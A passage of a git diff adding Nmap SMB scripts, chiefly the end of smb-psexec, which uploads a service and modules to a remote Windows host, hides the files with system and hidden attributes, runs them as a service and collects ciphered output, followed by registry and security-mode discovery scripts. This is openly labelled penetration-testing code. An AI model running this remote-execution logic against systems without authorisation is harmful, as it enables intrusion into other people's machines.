+ mod.disabled_message = {}
+ table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given.", table.concat('", missing_args, "')))
+ table.insert(mod.disabled_message, "Please add --script-args=[arg]=[value] to your commandline to run this module")
+ if(#missing_args == 1) then
+ table.insert(mod.disabled_message, string.format("For example: --script-args=%s=123", missing_args[1]))
+ else
+ table.insert(mod.disabled_message, string.format("For example: --script-args=%s=123,%s=456...", missing_args[1], missing_args[2]))
+ end
+ end
+ end
+
+ -- Checks for the uploadable modules
+ if(mod.upload) then
+ -- Check if the module actually exists
+ stdnse.debug1("Looking for uploadable module: %s or %s.exe", mod.program, mod.program)
+ mod.filename = locate_file(mod.program, "exe")
+ if(mod.filename == nil) then
+ enabled = false
+ stdnse.debug1("Couldn't find uploadable module %s, disabling", mod.program)
+ mod.disabled_message = {string.format("Couldn't find uploadable module %s, disabling", mod.program)}
+ if(mod.url) then
+ stdnse.debug1("You can try getting it from: %s", mod.url)
+ table.insert(mod.disabled_message, string.format("You can try getting it from: %s", mod.url))
+ table.insert(mod.disabled_message, "And placing it in Nmap's nselib/data/psexec/ directory")
+ end
+ else
+ -- We found it
+ stdnse.debug1("Found: %s", mod.filename)
+
+ -- Generate a name to upload them as (we don't upload with the original names)
+ status, mod.upload_name = smb.get_uniqueish_name(host, "txt", mod.filename)
+ if(not(status)) then
+ return false, "Couldn't generate name for uploaded file: " .. mod.upload_name
+ end
+ stdnse.debug1("Will upload %s as %s", mod.filename, mod.upload_name)
+ end
+ end
+
+
+ -- Prepare extra files
+ if(enabled and mod.extrafiles) then
+ -- Make sure we have an array to help save on duplicate code
+ if(type(mod.extrafiles) == "string") then
+ mod.extrafiles = {mod.extrafiles}
+ end
+
+ -- Loop through all of the extra files
+ mod.extrafiles_paths = {}
+ for i, extrafile in ipairs(mod.extrafiles) do
+ stdnse.debug1("Looking for extra module: %s", extrafile)
+ mod.extrafiles_paths[i] = locate_file(extrafile)
+ if(mod.extrafiles_paths[i] == nil) then
+ return false, string.format("Couldn't find required file to upload: %s", extrafile)
+ end
+ stdnse.debug1("Found: %s", mod.extrafiles_paths[i])
+ end
+ end
+
+ -- Add the timeout to the total
+ config.timeout = config.timeout + mod.maxtime
+
+ -- Add the module to the appropriate list
+ if(enabled) then
+ table.insert(config.enabled_modules, mod)
+ else
+ table.insert(config.disabled_modules, mod)
+ end
+ end
+
+ -- Make a list of *all* files (used for cleaning up)
+ config.all_files = get_all_files(config)
+
+ -- Finalize the timeout
+ local max_timeout = nmap.registry.args.timeout or 15
+ config.timeout = math.max(config.timeout, max_timeout)
+ stdnse.debug1("Timeout waiting for a response is %d seconds", config.timeout)
+
+ -- Do config overrides
+ if(overrides) then
+ config = do_overrides(config, overrides)
+ end
+
+ -- Replace variable values in the configuration (this has to go last)
+ stdnse.debug1("Replacing variables in the modules' fields")
+ for i, mod in ipairs(config.enabled_modules) do
+ for k, v in pairs(mod) do
+ mod[k] = replace_variables(config, v)
+ end
+ end
+
+ return true, config
+end
+
+---Cipher (or uncipher) a string with a weak xor-based encryption.
+--
+--@args str The string go cipher/uncipher.
+--@args config The config file for this host (stores the encryption key).
+--@return The decrypted string.
+local function cipher(str, config)
+ local result = {}
+ if(config.key == "") then
+ return str
+ end
+
+ for i = 1, #str, 1 do
+ local c = string.byte(str, i)
+ c = string.char(c ~ string.byte(config.key, config.key_index + 1))
+
+ config.key_index = config.key_index + 1
+ config.key_index = config.key_index % #config.key
+
+ result[i] = c
+ end
+
+ return table.concat(result)
+end
+
+local function get_overrides()
+ -- Create some overrides:
+ -- 0x00004000 = Encrypted
+ -- 0x00002000 = Don't index this file
+ -- 0x00000100 = Temporary file
+ -- 0x00000800 = Compressed file
+ -- 0x00000002 = Hidden file
+ -- 0x00000004 = System file
+ local attr = 0x00000004 | 0x00000002 | 0x00000800 | 0x00000100 | 0x00002000 | 0x00004000
+
+ -- Let the user override this behaviour
+ if(stdnse.get_script_args( "nohide" )) then
+ attr = 0
+ end
+
+ -- Create the overrides
+ return {file_create_attributes=attr}
+end
+
+--- Check if an nmap_service.exe file is the XOR-encoded version from the 5.21
+-- release. It works by checking the first few bytes against a known pattern.
+-- Returns <code>true</code> or <code>false</code>, or else <code>nil</code> and
+-- an error message.
+-- @param filename the name of the file to check.
+-- @return status
+-- @return error message
+local function service_file_is_xor_encoded(filename)
+ local f, bytes, msg
+
+ f, msg = io.open(filename)
+ if not f then
+ return nil, msg
+ end
+ bytes = f:read(2)
+ f:close()
+ if not bytes or #bytes < 2 then
+ return nil, "Can't read from service file"
+ end
+ -- This is the XOR-inverse of "MZ".
+ return bytes == "\xb2\xa5"
+end
+
+---Upload all of the uploadable files to the remote system.
+--
+--@param host The host table.
+--@param config The configuration table.
+--@return status true or false
+--@return err An error message if status is false.
+local function upload_everything(host, config)
+ local is_xor_encoded, msg
+ local overrides = get_overrides()
+
+ -- In Nmap 5.20, it was discovered that nmap_service.exe file was
+ -- causing false positives in antivirus software. In an effort to avoid
+ -- this, in version 5.21 the file was obfuscated by XORing all its bytes
+ -- with 0xFF. That didn't work, so now the file is not included in the
+ -- distribution. But it means we must check if we are dealing with the
+ -- original or XOR-encoded version of the file.
+ is_xor_encoded, msg = service_file_is_xor_encoded(config.local_service_file)
+ if is_xor_encoded == nil then
+ return nil, msg
+ elseif is_xor_encoded then
+ stdnse.debug2("%s is the XOR-encoded version from the 5.21 release.", config.local_service_file)
+ end
+
+ -- Upload the service file
+ stdnse.debug1("Uploading: %s => \\\\%s\\%s", config.local_service_file, config.share, config.service_file)
+ local status, err
+ status, err = smb.file_upload(host, config.local_service_file, config.share, "\\" .. config.service_file, overrides, is_xor_encoded)
+ if(status == false) then
+ cleanup(host, config)
+ return false, string.format("Couldn't upload the service file: %s\n", err)
+ end
+ stdnse.debug1("Service file successfully uploaded!")
+
+ -- Upload the modules and all their extras
+ stdnse.debug1("Attempting to upload the modules")
+ for _, mod in ipairs(config.enabled_modules) do
+ -- If it's an uploadable module, upload it
+ if(mod.upload) then
+ stdnse.debug1("Uploading: %s => \\\\%s\\%s", mod.filename, config.share, mod.upload_name)
+ status, err = smb.file_upload(host, mod.filename, config.share, "\\" .. mod.upload_name, overrides)
+ if(status == false) then
+ cleanup(host, config)
+ return false, string.format("Couldn't upload module %s: %s\n", mod.program, err)
+ end
+ end
+
+ -- If it requires extra files, upload them, too
+ if(mod.extrafiles) then
+ -- Convert to a table, if it's a string
+ if(type(mod.extrafiles) == "string") then
+ mod.extrafiles = {mod.extrafiles}
+ end
+
+ -- Loop over the files and upload them
+ for i, extrafile in ipairs(mod.extrafiles) do
+ local extrafile_local = mod.extrafiles_paths[i]
+
+ stdnse.debug1("Uploading extra file: %s => \\\\%s\\%s", extrafile_local, config.share, extrafile)
+ status, err = smb.file_upload(host, extrafile_local, config.share, extrafile, overrides)
+ if(status == false) then
+ cleanup(host, config)
+ return false, string.format("Couldn't upload extra file %s: %s\n", extrafile_local, err)
+ end
+ end
+ end
+ end
+ stdnse.debug1("Modules successfully uploaded!")
+
+ return true
+end
+
+---Create the service on the remote system.
+--@param host The host object.
+--@param config The configuration table.
+--@return status true or false
+--@return err An error message if status is false.
+local function create_service(host, config)
+ local status, err = msrpc.service_create(host, config.service_name, config.path .. "\\" .. config.service_file)
+ if(status == false) then
+ stdnse.debug1("Couldn't create the service: %s", err)
+ cleanup(host, config)
+
+ if(string.find(err, "MARKED_FOR_DELETE")) then
+ return false, "Service is stuck in 'being deleted' phase on remote machine; try setting script-args=randomseed=abc for now"
+ else
+ return false, string.format("Couldn't create the service on the remote machine: %s", err)
+ end
+ end
+
+ return true
+end
+
+---Create the list of parameters we're using to start the service. This consists
+-- of a few global params, then a group of parameters with options for each process
+-- that's going to be started.
+--
+--@param config The configuration table.
+--@return status true or false
+--@return params A table of parameters if status is true, or an error message if status is false.
+local function get_params(config)
+ local count = 0
+
+ -- Build the table of parameters to pass to the service
+ local params = {}
+ table.insert(params, config.path .. "\\" .. config.output_file)
+ table.insert(params, config.path .. "\\" .. config.temp_output_file)
+ table.insert(params, tostring(#config.enabled_modules))
+ table.insert(params, "0")
+ table.insert(params, config.key)
+ table.insert(params, config.path)
+ for _, mod in ipairs(config.enabled_modules) do
+ if(mod.upload) then
+ table.insert(params, config.path .. "\\" .. mod.upload_name .. " " .. (mod.args or ""))
+ else
+ table.insert(params, mod.program .. " " .. (mod.args or ""))
+ end
+
+ table.insert(params, (mod.env or ""))
+ table.insert(params, tostring(mod.headless))
+ table.insert(params, tostring(mod.include_stderr))
+ table.insert(params, mod.outfile or "")
+ end
+
+ return true, params
+end
+
+---Start the service on the remote machine.
+--
+--@param host The host object.
+--@param config The configuration table.
+--@param params The parameters to pass to the service, likely from the <code>get_params</code> function.
+--@return status true or false
+--@return err An error message if status is false.
+local function start_service(host, config, params)
+ local status, err = msrpc.service_start(host, config.service_name, params)
+ if(status == false) then
+ stdnse.debug1("Couldn't start the service: %s", err)
+ return false, string.format("Couldn't start the service on the remote machine: %s", err)
+ end
+
+ return true
+end
+
+---Poll for the output file on the remote machine until either the file is created, or the timeout
+-- expires.
+--
+--@param host The host object.
+--@param config The configuration table.
+--@return status true or false
+--@return result The file if status is true, or an error message if status is false.
+
+local function get_output_file(host, config)
+ stdnse.debug1("Waiting for output file to be created (timeout = %d seconds)", config.timeout)
+ local status, result
+
+ local i = config.timeout
+ while true do
+ status, result = smb.file_read(host, config.share, "\\" .. config.output_file, nil, {file_create_disposition=1})
+
+ if(not(status) and result ~= "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ -- An unexpected error occurred
+ stdnse.debug1("Couldn't read the file: %s", result)
+ cleanup(host, config)
+
+ return false, string.format("Couldn't read the file from the remote machine: %s", result)
+ end
+
+ if(not(status) and result == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ -- An expected error occurred; if this happens, we just wait
+ if(i == 0) then
+ stdnse.debug1("Error in remote service: output file was never created!")
+ cleanup(host, config)
+
+ return false, "Error in remote service: output file was never created"
+ end
+
+ stdnse.debug1("Output file %s doesn't exist yet, waiting for %d more seconds", config.output_file, i)
+ stdnse.sleep(1)
+ i = i - 1
+ end
+
+ if(status) then
+ break
+ end
+ end
+
+ return true, result
+end
+
+---Decide whether or not a line should be included in the output file, based on the module's
+-- find, remove, and noblank settings.
+local function should_be_included(mod, line)
+ local removed, found
+
+ -- Remove lines from the output, if the module requested it
+ removed = false
+ if(mod.remove and #mod.remove > 0) then
+ -- Make a single string into a table to save code
+ if(type(mod.remove) ~= 'table') then
+ mod.remove = {mod.remove}
+ end
+
+ -- Loop through the module's find table to see if any of the lines match
+ for _, remove in ipairs(mod.remove) do
+ if(string.match(line, remove)) then
+ removed = true
+ break
+ end
+ end
+ end
+
+ -- Remove blank lines if we're supposed to
+ if(mod.noblank and line == "") then
+ removed = true
+ end
+
+ -- If the line wasn't removed, and we are searching for specific text, do the search
+ found = false
+ if(mod.find and #mod.find > 0 and not(removed)) then
+ -- Make a single string a table to save duplicate code
+ if(type(mod.find) ~= 'table') then
+ mod.find = {mod.find}
+ end
+
+ -- Loop through the module's find table to see if any of the lines match
+ for _, find in ipairs(mod.find) do
+ if(string.match(line, find)) then
+ found = true
+ break
+ end
+ end
+ else
+ found = true
+ end
+
+ -- Only display the line if it's found and not removed
+ return (found and not(removed))
+end
+
+---Alter a line based on the module's 'replace' setting.
+local function do_replacements(mod, line)
+ if(mod.replace) then
+ for _, v in pairs(mod.replace) do
+ line = string.gsub(line, v[1], v[2])
+ end
+ end
+
+ return line
+end
+
+---Parse the output file into a neat array.
+local function parse_output(config, data)
+ -- Allow 'data' to be nil. This lets us skip most of the effort when all mods are disabled
+ data = data or ""
+
+ -- Split the result at newlines
+ local lines = stringaux.strsplit("\n", data)
+
+ local module_num = -1
+ local mod = nil
+ local result = nil
+
+ -- Loop through the lines and parse them into the results table
+ local results = {}
+ for _, line in ipairs(lines) do
+ if(line ~= "") then
+ local this_module_num = tonumber(string.sub(line, 1, 1))
+
+ -- Get the important part of the line
+ line = string.sub(line, 2)
+
+ -- Remove the Windows endline (0x0a) from the string (these are left in up to this point to maintain
+ -- the ability to download binary files, if that ever comes up
+ line = string.gsub(line, "\r", "")
+
+ -- If the module_number has changed, increment to the next module
+ if(this_module_num ~= (module_num % 10)) then
+ -- Increment our module number
+ if(module_num < 0) then
+ module_num = 0
+ else
+ module_num = module_num + 1
+ end
+
+
+ -- Go to the next module, and make sure it exists
+ mod = config.enabled_modules[module_num + 1]
+ if(mod == nil) then
+ stdnse.debug1("Server's response wasn't formatted properly (mod %d); if you can reproduce, place report to dev@nmap.org", module_num)
+ stdnse.debug1("--\n" .. string.gsub("%%", "%%", data) .. "\n--")
+ return false, "Server's response wasn't formatted properly; if you can reproduce, place report to dev@nmap.org"
+ end
+
+ -- Save this result
+ if(result ~= nil) then
+ table.insert(results, result)
+ end
+ result = {}
+ result['name'] = "<no name>"
+ result['lines'] = {}
+
+ if(mod.name) then
+ result['name'] = mod.name
+ else
+ result['name'] = string.format("'%s %s;", mod.program, (mod.args or ""))
+ end
+ end
+
+
+ local include = should_be_included(mod, line)
+
+ -- If we're including it, do the replacements
+ if(include) then
+ line = do_replacements(mod, line)
+ table.insert(result, line)
+ end
+ end
+ end
+
+ table.insert(results, result)
+
+ -- Loop through the disabled modules and print them out
+ for _, mod in ipairs(config.disabled_modules) do
+ local result = {}
+ result['name'] = mod.name
+ if(mod.disabled_message == nil) then
+ mod.disabled_message = {"No reason for disabling the module was found"}
+ end
+
+ if(type(mod.disabled_message) == 'string') then
+ mod.disabled_message = {mod.disabled_message}
+ end
+
+ for _, message in ipairs(mod.disabled_message) do
+ table.insert(result, "WARNING: " .. message)
+ end
+
+ table.insert(results, result)
+ end
+
+ return true, results
+end
+
+action = function(host)
+ local status, result, err
+ local key
+
+ local i
+
+ local params
+
+ local config = {}
+ local files
+
+ -- First check for nmap_service.exe; we can't do anything without it.
+ stdnse.debug1("Looking for the service file: nmap_service or nmap_service.exe")
+ config.local_service_file = locate_file("nmap_service", "exe")
+ if (config.local_service_file == nil) then
+ if nmap.verbosity() > 0 then
+ return string.format([[
+Can't find the service file: nmap_service.exe (or nmap_service).
+Due to false positives in antivirus software, this module is no
+longer included by default. Please download it from
+%s
+and place it in nselib/data/psexec/ under the Nmap DATADIR.
+]], NMAP_SERVICE_EXE_DOWNLOAD)
+ else
+ return
+ end
+ end
+
+ -- Parse the configuration file
+ status, config = get_config(host, config)
+ if(not(status)) then
+ return stdnse.format_output(false, config)
+ end
+
+ if(#config.enabled_modules > 0) then
+ -- Start by cleaning up, just in case.
+ cleanup(host, config)
+
+ -- If the user just wanted a cleanup, do it
+ if(stdnse.get_script_args( "cleanup" )) then
+ return stdnse.format_output(true, "Cleanup complete.")
+ end
+
+ -- Check if any of the files exist
+ status, result, files = smb.files_exist(host, config.share, config.all_files, {})
+ if(not(status)) then
+ return stdnse.format_output(false, "Couldn't log in to check for remote files: " .. result)
+ end
+ if(result > 0) then
+ local response = {}
+ table.insert(response, "One or more output files already exist on the host, and couldn't be removed. Try:")
+ table.insert(response, "* Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might help),")
+ table.insert(response, "* Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,")
+ table.insert(response, "* Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or")
+ table.insert(response, "* Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. table.concat(files, ", \\\\" .. config.share .. "\\") .. ")")
+ return stdnse.format_output(false, response)
+ end
+
+ -- Upload the modules
+ status, err = upload_everything(host, config)
+ if(not(status)) then
+ cleanup(host, config)
+ return stdnse.format_output(false, err)
+ end
+
+ -- Create the service
+ status, err = create_service(host, config)
+ if(not(status)) then
+ cleanup(host, config)
+ return stdnse.format_output(false, err)
+ end
+
+ -- Get the table of parameters to pass to the service when we start it
+ status, params = get_params(config)
+ if(not(status)) then
+ cleanup(host, config)
+ return stdnse.format_output(false, params)
+ end
+
+ -- Start the service
+ status, params = start_service(host, config, params)
+ if(not(status)) then
+ cleanup(host, config)
+ return stdnse.format_output(false, params)
+ end
+
+ -- Get the result
+ status, result = get_output_file(host, config, config.share)
+ if(not(status)) then
+ cleanup(host, config)
+ return stdnse.format_output(false, result)
+ end
+
+ -- Do a final cleanup
+ cleanup(host, config)
+
+ -- Uncipher the file
+ result = cipher(result, config)
+ end
+
+ -- Build the output into a nice table
+ local response
+ status, response = parse_output(config, result)
+ if(status == false) then
+ return stdnse.format_output(false, "Couldn't parse output: " .. response)
+ end
+
+ -- Add a warning if nothing was enabled
+ if(#config.enabled_modules == 0) then
+ if(#response == 0) then
+ response = {"No modules were enabled! Please check your configuration file."}
+ else
+ table.insert(response, "No modules were enabled! Please fix any errors displayed above, or check your configuration file.")
+ end
+ end
+
+ -- Return the string
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/smb-security-mode.nse b/scripts/smb-security-mode.nse
new file mode 100644
index 0000000..8bf823d
--- /dev/null
+++ b/scripts/smb-security-mode.nse
@@ -0,0 +1,158 @@
+local os = require "os"
+local datetime = require "datetime"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Returns information about the SMB security level determined by SMB.
+
+Here is how to interpret the output:
+
+* User-level authentication: Each user has a separate username/password that
+ is used to log into the system. This is the default setup of pretty much
+ everything these days.
+* Share-level authentication: The anonymous account should be used to log
+ in, then the password is given (in plaintext) when a share is accessed.
+ All users who have access to the share use this password. This was the
+ original way of doing things, but isn't commonly seen, now. If a server
+ uses share-level security, it is vulnerable to sniffing.
+* Challenge/response passwords supported: If enabled, the server can accept
+ any type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it
+ isn't set, the server can only accept plaintext passwords. Most servers
+ are configured to use challenge/response these days. If a server is
+ configured to accept plaintext passwords, it is vulnerable to sniffing. LM
+ and NTLM are fairly secure, although there are some brute-force attacks
+ against them. Additionally, LM and NTLM can fall victim to
+ man-in-the-middle attacks or relay attacks (see MS08-068 or my writeup of
+ it: http://www.skullsecurity.org/blog/?p=110.
+* Message signing: If required, all messages between the client and server
+ must be signed by a shared key, derived from the password and the server
+ challenge. If supported and not required, message signing is negotiated
+ between clients and servers and used if both support and request it. By
+ default, Windows clients don't sign messages, so if message signing isn't
+ required by the server, messages probably won't be signed; additionally,
+ if performing a man-in-the-middle attack, an attacker can negotiate no
+ message signing. If message signing isn't required, the server is
+ vulnerable to man-in-the-middle attacks or SMB-relay attacks.
+
+This script will allow you to use the <code>smb*</code> script arguments (to
+set the username and password, etc.), but it probably won't ever require
+them.
+]]
+
+---
+--@usage
+-- nmap --script smb-security-mode.nse -p445 127.0.0.1
+-- sudo nmap -sU -sS --script smb-security-mode.nse -p U:137,T:139 127.0.0.1
+--
+--@output
+-- | smb-security-mode:
+-- | account_used: guest
+-- | authentication_level: user
+-- | challenge_response: supported
+-- |_ message_signing: disabled (dangerous, but default)
+--
+--@xmloutput
+-- <elem key="account_used">guest</elem>
+-- <elem key="authentication_level">user</elem>
+-- <elem key="challenge_response">supported</elem>
+-- <elem key="message_signing">disabled</elem>
+--
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"smb-brute"}
+
+
+-- Check whether or not this script should be run.
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local function label_warnings (t, w)
+ local out = {}
+ for k, v in pairs(t) do
+ local warn = w[k]
+ if warn then
+ warn = string.format(" (%s)", warn)
+ else
+ warn = ""
+ end
+ out[#out+1] = string.format("\n %s: %s%s", k, v, warn)
+ end
+ return table.concat(out)
+end
+
+action = function(host)
+
+ local state
+ local status, err
+ local overrides = {}
+
+ status, state = smb.start(host)
+ if(status == false) then
+ return stdnse.format_output(false, state)
+ end
+
+ status, err = smb.negotiate_protocol(state, overrides)
+ if(status == false) then
+ smb.stop(state)
+ return stdnse.format_output(false, err)
+ end
+ if state.time then
+ datetime.record_skew(host, state.time, os.time())
+ end
+
+ local security_mode = state['security_mode']
+
+ local response = stdnse.output_table()
+
+ local result, username, domain = smb.get_account(host)
+ if(result ~= false) then
+ if domain and domain ~= "" then
+ domain = domain .. "\\"
+ end
+ response.account_used = string.format("%s%s", domain, stdnse.string_or_blank(username, '<blank>'))
+ end
+
+ local warnings = {}
+ -- User-level authentication or share-level authentication
+ if(security_mode & 1) == 1 then
+ response.authentication_level = "user"
+ else
+ response.authentication_level = "share"
+ warnings.authentication_level = "dangerous"
+ end
+
+ -- Challenge/response supported?
+ if(security_mode & 2) == 0 then
+ response.challenge_response = "plaintext-only"
+ warnings.challenge_response = "dangerous"
+ else
+ response.challenge_response = "supported"
+ end
+
+ -- Message signing supported/required?
+ if(security_mode & 8) == 8 then
+ response.message_signing = "required"
+ elseif(security_mode & 4) == 4 then
+ response.message_signing = "supported"
+ else
+ response.message_signing = "disabled"
+ warnings.message_signing = "dangerous, but default"
+ end
+
+ smb.stop(state)
+
+ local rmeta = getmetatable(response)
+ rmeta.__tostring = function (t)
+ return label_warnings(t, warnings)
+ end
+ setmetatable(response, rmeta)
+ return response
+end
+
+
diff --git a/scripts/smb-server-stats.nse b/scripts/smb-server-stats.nse
new file mode 100644
index 0000000..caa9364
--- /dev/null
+++ b/scripts/smb-server-stats.nse
@@ -0,0 +1,66 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to grab the server's statistics over SMB and MSRPC, which uses TCP
+ports 445 or 139.
+
+An administrator account is required to pull these statistics on most versions
+of Windows, and Vista and above require UAC to be turned down.
+
+Some of the numbers returned here don't feel right to me, but they're definitely
+the numbers that Windows returns. Take the values here with a grain of salt.
+
+These statistics are found using a single call to a SRVSVC function,
+<code>NetServerGetStatistics</code>. This packet is parsed incorrectly by Wireshark,
+up to version 1.0.3 (and possibly higher).
+]]
+
+---
+-- @usage
+-- nmap --script smb-server-stats.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-server-stats.nse -p U:137,T:139 <host>
+--
+-- @output
+-- Host script results:
+-- | smb-server-stats:
+-- | | Server statistics collected since 2009-09-22 09:56:00 (48d5h53m36s):
+-- | | | 6513655 bytes (1.56 b/s) sent, 40075383 bytes (9.61 b/s) received
+-- |_ |_ |_ 19323 failed logins, 179 permission errors, 0 system errors, 0 print jobs, 2921 files opened
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+dependencies = {"smb-brute"}
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host)
+
+ local result, stats
+ local response = {}
+ local subresponse = {}
+
+ result, stats = msrpc.get_server_stats(host)
+
+ if(result == false) then
+ return stdnse.format_output(false, response)
+ end
+
+ table.insert(response, string.format("Server statistics collected since %s (%s):", stats['start_str'], stats['period_str']))
+ table.insert(subresponse, string.format("%d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond']))
+ table.insert(subresponse, string.format("%d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens']))
+ table.insert(response, subresponse)
+
+ return stdnse.format_output(true, response)
+end
+
+
diff --git a/scripts/smb-system-info.nse b/scripts/smb-system-info.nse
new file mode 100644
index 0000000..ba69513
--- /dev/null
+++ b/scripts/smb-system-info.nse
@@ -0,0 +1,249 @@
+local datetime = require "datetime"
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Pulls back information about the remote system from the registry. Getting all
+of the information requires an administrative account, although a user account
+will still get a lot of it. Guest probably won't get any, nor will anonymous.
+This goes for all operating systems, including Windows 2000.
+
+Windows Vista disables remote registry access by default, so unless it was enabled,
+this script won't work.
+
+If you know of more information stored in the Windows registry that could be interesting,
+post a message to the nmap-dev mailing list and I (Ron Bowes) will add it to my todo list.
+Adding new checks to this is extremely easy.
+
+WARNING: I have experienced crashes in <code>regsvc.exe</code> while making registry calls
+against a fully patched Windows 2000 system; I've fixed the issue that caused it,
+but there's no guarantee that it (or a similar vuln in the same code) won't show
+up again. Since the process automatically restarts, it doesn't negatively impact
+the system, besides showing a message box to the user.
+]]
+
+---
+-- @usage
+-- nmap --script smb-system-info.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-system-info.nse -p U:137,T:139 <host>
+--
+-- @output
+-- Host script results:
+-- | smb-system-info:
+-- | | OS Details
+-- | | | Microsoft Windows 2000 Service Pack 4 (ServerNT 5.0 build 2195)
+-- | | | Installed on 2008-10-10 05:47:19
+-- | | | Registered to Ron (organization: Government of Manitoba)
+-- | | | Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Graphviz2.20\Bin;
+-- | | | Systemroot: C:\WINNT
+-- | | |_ Page files: C:\pagefile.sys 192 384 (cleared at shutdown => 0)
+-- | | Hardware
+-- | | | CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2800mhz GenuineIntel]
+-- | | | |_ Identifier 0: x86 Family 15 Model 3 Stepping 8
+-- | | |_ Video driver: VMware SVGA II
+-- | | Browsers
+-- | | | Internet Explorer 6.0000
+-- |_ |_ |_ Firefox 3.0.12 (en-US)
+-----------------------------------------------------------------------
+
+
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+dependencies = {"smb-brute"}
+
+
+-- TODO: This script needs some love
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+---Retrieves the requested value from the registry.
+--@param smbstate The SMB table we're using, bound to the WINREG service.
+--@param handle The handle to the hive (HKLM or HKU, for example).
+--@param key The full path of the key to retrieve (like <code>"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment"</code>).
+--@param value The value to retrieve (like <code>"NUMBER_OF_PROCESSORS"</code>).
+--@return Status (true or false).
+--@return The value (if status is true) or an error string (if status is false).
+local function reg_get_value(smbstate, handle, key, value)
+ -- Open the key
+ local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
+ if(status == false) then
+ return false, openkey_result
+ end
+
+ -- Query the value
+ local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
+ if(status == false) then
+ return false, queryvalue_result
+ end
+
+ -- Close the key
+ local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
+ if(status == false) then
+ return false, closekey_result
+ end
+
+ return true, queryvalue_result['value']
+end
+
+local function get_info_registry(host)
+
+ local result = {}
+
+ -- Create the SMB session
+ local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to WINREG service
+ local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Open HKEY_LOCAL_MACHINE
+ local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, openhklm_result
+ end
+
+ -- Processor information
+ result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
+ if(result['status-number_of_processors'] == false) then
+ result['number_of_processors'] = 0
+ end
+ result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
+ result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
+ result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
+ result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
+ result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
+ result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
+
+ -- remove trailing zero terminator
+ local num_procs = result['number_of_processors']:match("^[^%z]*")
+
+ for i = 0, tonumber(num_procs) - 1, 1 do
+ result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
+ result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
+ result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
